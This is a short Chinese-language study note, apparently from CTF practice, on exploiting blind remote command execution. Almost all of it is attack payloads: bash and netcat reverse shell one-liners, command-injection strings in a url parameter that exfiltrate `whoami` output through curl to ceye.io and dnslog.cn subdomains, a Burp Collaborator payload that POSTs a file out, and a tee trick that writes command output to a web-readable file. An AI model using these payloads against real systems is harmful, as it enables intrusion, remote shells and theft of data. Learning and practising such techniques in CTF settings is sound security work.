看看无回显RCE


学到了一点点新东西:

1.什么是无回显RCE

简单说来应该就是和sql注入里的盲注一个概念,你看不到回显的结果是什么

就比如eval函数,他就是一个有回显的函数

但是exec()就是一个无回显的函数,你看不到结果是什么

2. how 2 solve it?

对于无回显的rce一般有三种解决方式:

  • 反弹shell
  • dnslog外带数据
  • 时间盲注

反弹shell

使用bashnc反弹

1
2
3
bash -i >& /dev/tcp/ip/port 0>&1
nc -e /bin/sh ip port
nc -lvnp 6666

dnslog外带数据

使用:

ceye

使用;作为命令的分隔符,然后发起curl请求

收到外带数据回显结果

不过这个b玩意太容易504 Gateway Time-out了…

等能访问的时候再补充图片吧

使用方法:

注册了一个账号以后就会有个属于自己的dnslog域名

然后:

1
?url=1;curl http://ip.port.b182oj.ceye.io/`whoami`

如果使用dnslog.cn

dnslog

要这么写:

1
?url=1;curl http://`whoami`.7sye14.dnslog.cn/

可惜由于dir/ls会被空格截断

可以加上|sed -n '1p’来查看

extra:

还可以使用burp的Burp Collaborator Client

点击Burp就有Burp Collaborator Client

点击copy to clipboard

会生成一段:ucamo87yesi3j87kf879es5cn3tuhj.burpcollaborator.net

然后payload:

1
1;curl -X POST -F xx=@文件名 ucamo87yesi3j87kf879es5cn3tuhj.burpcollaborator.net

tee:从标准输入读取,再写入标准输出和文件

1
2
?url=ls / | tee 1.txt#
访问1.txt即可

时间盲注:

使用sleep

不过我在nssctf上没成功(((

所以这里就不多展开